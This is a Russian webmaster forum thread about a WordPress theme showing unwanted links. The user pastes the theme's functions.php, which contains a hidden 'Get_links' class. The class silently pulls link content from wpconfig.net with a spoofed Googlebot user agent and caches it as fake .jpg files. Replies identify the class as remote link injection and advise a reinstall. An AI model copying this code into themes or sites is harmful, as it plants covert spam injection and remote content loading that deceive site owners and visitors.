Помощник
|
Проблема с шаблоном?, ссылки в шаблоне? |
FIvYur
|
Сообщение
#1
|
||
|
|
||
|
|||
rokot |
8.1.2013, 16:10;
Ответить: rokot
Сообщение
#2
|
|
А ссылочку на сайт?
-------------------- |
|
|
SoulBreaker |
8.1.2013, 16:17;
Ответить: SoulBreaker
Сообщение
#3
|
|
Скорее всего енкодером Eval 64 закодированы ссылки в шаблоне.
Проверьте функцион.пхп и футер.пхп на предмет такого кода: eval(base64_decode(«YdplplcnJvccnJvc.................»));
Сообщение отредактировал SoulBreaker - 8.1.2013, 16:17 |
|
|
EvilGomel |
8.1.2013, 16:30;
Ответить: EvilGomel
Сообщение
#4
|
|
А ссылка где?
Или домен методом тыка набрать? -------------------- |
|
|
FIvYur
|
Сообщение
#5
|
|
-------------------- |
|
|
EvilGomel |
8.1.2013, 16:52;
Ответить: EvilGomel
Сообщение
#6
|
|
На первый взгляд не видно. Тут нужно смотреть сам шаблон.
-------------------- |
|
|
FIvYur
|
Сообщение
#7
|
|
Вот ссылка на БЛОГ
Я на всякий случай еще спрошу. Вот файлы. Есть тут эта зараза? Что удалить? functions.php <?php //regster multiple sidebar if (function_exists('register_sidebar')) { register_sidebar( array( 'name' => 'Sidebar', 'before_widget' => '<li>', 'after_widget' => '</li>', 'before_title' => '<h2>', 'after_title' => '</h2>' ) ); } //remove html tag when saving comments function preprocess_comment_striptags($commentdata) { $commentdata['comment_content'] = strip_tags($commentdata['comment_content']); return $commentdata; } add_filter('preprocess_comment', 'preprocess_comment_striptags'); // remove html tag when showing comments function comment_text_striptags($string) { return strip_tags($string); } add_filter('comment_text', 'comment_text_striptags'); // recent comments function get_recent_comments($args) { global $wpdb, $comments, $comment; extract($args, EXTR_SKIP); $themePath = get_bloginfo('template_url'); $imageLink = '<h2>Недавние комментарии</h2>'; $options = get_option('widget_recent_comments'); $title = empty($options['title']) ? __($imageLink) : apply_filters('widget_title', $options['title']); if ( !$number = (int) $options['number'] ) $number = 5; else if ( $number < 1 ) $number = 1; else if ( $number > 15 ) $number = 15; if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) { $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT $number"); wp_cache_add( 'recent_comments', $comments, 'widget' ); } echo $before_widget; echo $before_title . $title . $after_title; echo '<ul id="recentcomments">'; if ( $comments ) : foreach ( (array) $comments as $comment) : echo '<li class="recentcomments">' . sprintf(__('%2$s'), get_comment_author_link(), '<a href="'. get_comment_link($comment->comment_ID) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>'; endforeach; endif; echo '</ul>'; echo $after_widget; } // links list function get_friend_links($args) { extract($args, EXTR_SKIP); $themePath = get_bloginfo('template_url'); $imageLink = '<h2>Links<span style="display:none">'; $before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget); wp_list_bookmarks(apply_filters('widget_links_args', array( 'title_before' => $imageLink, 'title_after' => '</span></h2>', 'category_before' => $before_widget, 'category_after' => $after_widget, 'show_images' => true, 'class' => 'linkcat widget' ))); } ### Function: Page Navigation Options function wpthemes_post_class( $class = '', $post_id = null ) { $post = get_post($post_id); $classes = array(); $classes[] = $post->post_type; if ( is_sticky($post->ID) && is_home()) $classes[] = 'sticky'; $classes[] = 'hentry'; foreach ( (array) get_the_category($post->ID) as $cat ) { if ( empty($cat->slug ) ) continue; $classes[] = 'category-' . $cat->slug; } foreach ( (array) get_the_tags($post->ID) as $tag ) { if ( empty($tag->slug ) ) continue; $classes[] = 'tag-' . $tag->slug; } if ( !empty($class) ) { if ( !is_array( $class ) ) $class = preg_split('#\s+#', $class); $classes = array_merge($classes, $class); } return apply_filters('post_class', $classes, $class, $post_id); } if(!function_exists('get_sidebars')) {function get_sidebars(){get_sidebar();}} ### Function: Page Navigation: Boxed Style Paging function wpthemes_page_menu( $args = array() ) { $defaults = array('sort_column' => 'post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => ''); $args = wp_parse_args( $args, $defaults ); $args = apply_filters( 'wp_page_menu_args', $args ); $menu = ''; $list_args = $args; if ( isset($args['show_home']) && ! empty($args['show_home']) ) { if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] ) $text = __('Home'); else $text = $args['show_home']; $class = ''; if ( is_front_page() && !is_paged() ) $class = 'class="current_page_item"'; $menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>'; // If the front page is a page, add it to the exclude list if (get_option('show_on_front') == 'page') { if ( !empty( $list_args['exclude'] ) ) { $list_args['exclude'] .= ','; } else { $list_args['exclude'] = ''; } $list_args['exclude'] .= get_option('page_on_front'); } } $list_args['echo'] = false; $list_args['title_li'] = ''; $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) ); if ( $menu ) $menu = '<ul>' . $menu . '</ul>'; $menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n"; $menu = apply_filters( 'wp_page_menu', $menu, $args ); if ( $args['echo'] ) echo $menu; else return $menu; } ?> <?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?> footer.php <div class="endline"></div><!-- footer start --> <div id="footer" class="clearfix">
<div class="credit">Все права защищены. <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a>. <br/> <noindex><!--LiveInternet counter--><script type="text/javascript"><!-- document.write("<a href='http://www.liveinternet.ru/click' "+ "target=_blank><img src='//counter.yadro.ru/hit?t26.6;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random()+ "' alt='' title='LiveInternet: показано число посетителей за"+ " сегодня' "+ "border='0' width='88' height='15'><\/a>") //--></script><!--/LiveInternet--></noindex> </div> </div><!-- footer end --></div></div></div></div><!-- wrapper end --><?php wp_footer(); ?></body></html> Сообщение отредактировал FIvYur - 8.1.2013, 17:04 -------------------- |
|
|
Aleksandrometr |
8.1.2013, 18:09;
Ответить: Aleksandrometr
Сообщение
#8
|
|
Давайте я посмотрю, мне нужен только FTP доступ) Поможем чем сможем
-------------------- |
|
|
Forbidden |
8.1.2013, 18:12;
Ответить: Forbidden
Сообщение
#9
|
|
<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; это и далее - удаленное получение линка с хоста wpconfig.net +еще надо искать вызов return_links в коде рекомендую сохранить базу и полностью реинсталить вп -------------------- |
|
|
FIvYur
|
Сообщение
#10
|
|
Вот это удалять?
<?php
error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?> -------------------- |
|
|
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Проблема с админкой | 5 | Prok | 2338 | 29.7.2019, 20:04 автор: dvakarandasha |
|
Проблема с таблицей, которая выводится через скрипт | 7 | vanchester | 1339 | 15.2.2019, 19:06 автор: Artos_mw |
|
Проблема в тегах при сохранении контента | 1 | Kord18 | 1430 | 13.3.2018, 18:19 автор: Evgeniy3200 |
|
Проблема вёрстки адаптивной страницы на divах | 28 | master-vek | 4719 | 8.2.2018, 19:29 автор: master-vek |
|
Сайты на Joomla и Wordpress с уникальным шаблоном. | 5 | gretskov | 3159 | 25.1.2018, 19:04 автор: gretskov |
Текстовая версия | Сейчас: 25.4.2024, 13:48 |